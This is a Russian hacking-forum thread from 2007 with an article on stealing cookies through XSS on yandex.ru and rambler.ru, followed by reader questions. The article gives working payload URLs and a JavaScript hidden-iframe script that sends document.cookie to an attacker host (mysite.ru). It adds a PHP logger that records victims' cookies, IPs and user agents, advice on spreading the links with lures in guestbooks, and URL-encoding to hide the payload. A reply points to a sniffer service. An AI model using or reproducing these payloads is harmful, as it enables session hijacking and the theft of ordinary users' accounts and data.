Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Возможность использования xss на yandex.ru и rambler.ru (https://forum.antichat.xyz/showthread.php?t=50594)

AFoST 05.10.2007 23:34

Возможность использования xss на yandex.ru и rambler.ru
 
Эта статься посвящена в основном новичкам. Я в ней описываю вариант использования XSS на 2х известных ресурсах рунета в подробностях, чтобы всё неясное стало ясным. В статье представлено все необходимое для проведения полноценной атаки типа XSS кража куки, но это не значит, что её надо реализовывать и воровать чужие данные. Я лишь пытаюсь показать, что и у таких крупных ресурсов есть свои дыры.

В один из приятных летних вечеров я, как обычно =), зашел на один из форумов по инф. безопасности...Зашел в раздел XSS, увидел туеву хучу уязвимостей на разных сайтах. Ну, подумал я, не любоваться же на них, и начал искать известный сайтик, чтобы провести полноценную атаку =) Но, собственно, меня не интересовали сайты типа kirpich.org.com.net.ru или forum.gallery.garazhiki.us.ua.up.ui.ut, а хотелось чего-то более известного и раскрученного, чем пользуются большинство обычных юзеров...Вскоре на страницах форума я нашёл xss на яндексе и рамблере, что не могло не радовать =)
Вот они:

Код:

http://www.rambler.ru/db/support/feedback.shtml?name="<script>alert(/hello, dear user!!!/)</script>
http://www.nco.yandex.ru/?&sort=<script><script>alert(/hello, deaD user!!!/)</script>

Дальше...
Надо их использовать для своих целей, правильно? А иначе нахрена бы они нам сдались =) Так вот, немного подумав, переписал XSS следующим образом:


Код:

http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>
http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/rec.php?'+document.cookie );</script>


Даже не спрашивайте, почему я написал по-разному...Сам хз, так легли звёзды =)

Разберём XSS на www.rambler.ru:

Код:

http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>
Здесь, вместо банального alert(/hello, юзер/) я вставил код, который загружает js-скрипт с другого сайта...В 1.js я написал скрипт, который вставляет на страницу скрытый фрейм. Фрейм, в свою очередь, обращается к пхп скрипту на сайте

Код:

src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'";
Т.е. он отправляет GET-запрос на сайт с параметром

Код:

h=['+location.host+']:'+document.cookie+
В этом параметре передаются хост, с которого был отправлен запрос и, самое важное, cookie юзера. Все эти данные обрабатываются пхп-скриптом и представляются в читабельном виде =) (о пхп дальше...)
Вот сорц самого 1.js:

Код:

document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');

Теперь разберём XSS на яндексе:

Код:

http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/rec.php?'+document.cookie);</script>
Здесь я не стал загружать скрипт с удалённого сайта, как в первом случае, а написал сам скрипт, который перенаправляет броузер на мой сайт и передает куки юзера пхп-скрипту...

И самое главное, разберём, что же написано в самом пхп-скрипте:
Код
Код:

<?php
$fp = fopen("cookies.html","a");
fputs($fp, " <br><br><br>_________[".date("d.m.y H:i")."]<br>".
$_SERVER['QUERY_STRING']."<br><br>".
" USER_AGENT: ".$_SERVER["HTTP_USER_AGENT"]."<br>".
" REMOTE_ADDR:  " .$_SERVER["REMOTE_ADDR"]."<br>".
 " HTTP_REFERER: " .$_SERVER["HTTP_REFERER"]
);

fclose($fp);
echo "<script>document.location.replace('http://google.com');</script>";
?>

Последней строчкой кода, я перенаправляю страницу с моего сайта на гугль, хы =), далеко не каждый пользователь запалит, что он был на моём сайте, и офигеет, увидев, что он попал на гугль =)
После всего проделанного выше, регистрируемся на любом бесплатном хостинге с поддержкой пхп и размещаем в нужном месте нужные файлы. Потом берём подготовленные XSS-ссылки, ищем пару-тройку гостевых книг и пишем там всякую лабуду, вызываюшую интерес, страх и лень(качества присущие всем (= ), и вставляем ссылки =)

После того, как юзер зайдет на ссылку у нас остаются логи, прилизительно следующего содержания:

Код:

_________[05.09.07 15:12]
h=[www.some_site.ru]:hotlog=1

USER_AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
REMOTE_ADDR: 111.111.111.111
HTTP_REFERER: Field blocked by Outpost Firewall (http://www.agnitum.com)

Для меньшего пропаливания xss-ссылок можно использовать перекодировку. Например xss на яндексе после не сложного шифрования будет иметь такой вид:

Код:

http://www.nco.yandex.ru/?&sort=%3C%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D
%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%27%68%74%74%70%3A%2F%2F
%6D%79%73%69%74%65%2E%72%75%2F%72%65%63%2E%70%68%70%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E
%63%6F%6F%6B%69%65%29%3B%3C%2F%73%63%72%69%70%74%3E

Вот, собственно и всё. Если есть замечания или пожелания, пишите здесь или в асю. С наилучшими пожеланиями, FoST 8-794-038.

(с) FoST
12.9.2007, 20:47

Впервые статья была опубликована здесь http://forum.prologic.su/index.php?showtopic=1263

GRAVITY 13.10.2007 00:14

Нупский вопрос - а он не ворует куки получается:? По крайней мере в логах не увидел

AFoST 13.10.2007 01:29

Цитата:

Сообщение от GRAVITY
Нупский вопрос - а он не ворует куки получается:? По крайней мере в логах не увидел

Ёпт! А если я бы написал "вид логов такой: [antichat.ru]:пиписька" ты бы спросил, "а что, он получается пиписьки с ачата ворует!? Это примерный вид того, что получается в итоге.
в пхп у нас написано вот что:
PHP код:

fputs($fp" <br><br><br>_________[".date("d.m.y H:i")."]<br>".
$_SERVER['QUERY_STRING']."<br><br>"

Это значит, скрипт записывает в логи значение переменной $_SERVER['QUERY_STRING'], а она берётся если в адресной строке написать линк следующего вида
Код:

http://your_site.net/script.php?some_text
В моем случае после "?" была стрка hotlog=1, поэтому в логи записалось это:
Код:

h=[www.some_site.ru]:hotlog=1
Я специально формировал ссылки с XSS чтобы скрипт обращялся к пхп-скрипту и после знака вопроса выставлял document.cookie.

Если ещё не понятно, спрашивай, отвечу.

GRAVITY 13.10.2007 15:15

Вот такой вопрос - например я передал ссылку кому-нить, он на неё зашёл - и в лог сохранился куки - а к какой страничке относился этот куки ?

Piflit 13.10.2007 15:23

Цитата:

Сообщение от gravity
Вот такой вопрос - например я передал ссылку кому-нить, он на неё зашёл - и в лог сохранился куки - а к какой страничке относился этот куки ?

не к страничке, а к сессии ящика

GRAVITY 13.10.2007 15:34

Можно поподробнее про сессию ящика ??...

Cawabunga 13.10.2007 15:38

Цитата:

Можно поподробнее про сессию ящика ??...
Читай
Форум АНТИЧАТ > ИНФО > Статьи

GRAVITY 13.10.2007 15:39

Ща я читаю вот это: :)
http://forum.antichat.ru/thread32872.html

Zitt 13.10.2007 23:29

Очень удобный снифер находится по адресу
http://s.netsec.ru/

Tadeus 03.11.2007 22:46

Блин, что-то на рамблере, у мну не пахаит Document.Location.Replace. Зато Document.Location.Href работает. Как через последнее можно передать cookies? :rolleyes:


Время: 04:27